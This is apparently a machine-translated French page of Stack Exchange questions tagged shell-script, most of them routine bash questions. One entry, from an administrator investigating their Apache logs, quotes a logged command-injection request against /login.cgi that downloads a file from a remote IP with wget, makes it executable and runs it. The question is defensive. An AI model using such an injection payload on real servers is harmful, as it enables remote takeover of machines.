Questions marquées «shell-script»

Un script shell est un script écrit pour le shell, ou interpréteur de ligne de commande, d'un système d'exploitation.




3
Que fait l'exportation à BASH? [dupliquer]
Duplication possible: Différence entre “a = b” et “export a = b” dans bash C'est difficile à admettre, mais je n'ai jamais vraiment compris ce que exportfait exactement une variable d'environnement. Je sais que si je n'exporte pas de variable, je ne la vois parfois pas dans les processus enfants, …

15
Comment exécuter le fichier .sh sur Windows?
Lorsque j'essaie d'exécuter un fichier (name.sh) dans la ligne de commande à l'aide de la commande ./name.sh, j'obtiens le message d'erreur suivant: "." n'est pas reconnu en tant que commande interne ou externe, fichier exploitable ou batch aidez-moi s'il vous plaît à exécuter le fichier .sh


9
Rotation du journal de stdout?
J'ai un programme Linux capable d'écrire des informations sur stdout et stderr. J'ai un script shell qui redirige cette sortie vers un fichier /var/log. (Via >>et 2>&1.) Existe-t-il un moyen de faire pivoter ce fichier journal? (taille maximale, puis passer à un autre fichier, ne conserver qu'un nombre limité de …

3
Eviter les chemins indésirables dans les fichiers Zip
Je suis en train de faire un script shell pour emballer certains fichiers. Je suis en train de zipper un répertoire comme ça: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Le problème est que l'archive out.zip résultante contient le chemin d'accès complet au fichier. C'est-à-dire que, une fois décompressé, il contiendra l'intégralité du …
49 macos  bash  zip  path  shell-script 


2
Que fait ce script bash? [Tentative de piratage]
J'ai remarqué ces derniers temps sur les journaux Apache de mes serveurs: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" J'ai donc créé un filtre Fail2Ban personnalisé et j'ai commencé à interdire les adresses IP demandant ces URL /login.cgi. Mais j'étais curieux de savoir ce qu'ils …

2
Quel est le problème avec "echo $ (stuff)" ou "echo` stuff` "?
J'ai utilisé l'un des éléments suivants echo $(stuff) echo `stuff` (où stuffest par exemple pwdou dateou quelque chose de plus compliqué). Puis on m'a dit que cette syntaxe était erronée, une mauvaise pratique, non élégante, excessive, redondante, trop compliquée, une programmation culte du fret, noobish, naïf etc. Mais la commande …
31 shell-script  sh  echo 

5
Comment extraire une liste complète des types d'extensions dans un répertoire?
Dans un répertoire, et récursivement dans ses sous-répertoires, ce qui signifie que chaque répertoire d'un répertoire est traité, comment puis-je compiler une liste complète d'extensions uniques dans le répertoire? Le système d'exploitation est Windows XP avec toutes les mises à jour actuelles, mais je peux exécuter un script si je …

2
Le script shell fait écho à la nouvelle ligne du fichier
Je veux faire écho à une nouvelle ligne dans un fichier entre des variables dans un script shell. Voici mon code: var1 = "Bonjour" var2 = "Monde!" logwrite = "$ var1 [Voici où je veux insérer une nouvelle ligne] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt En ce moment, lorsque …



En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.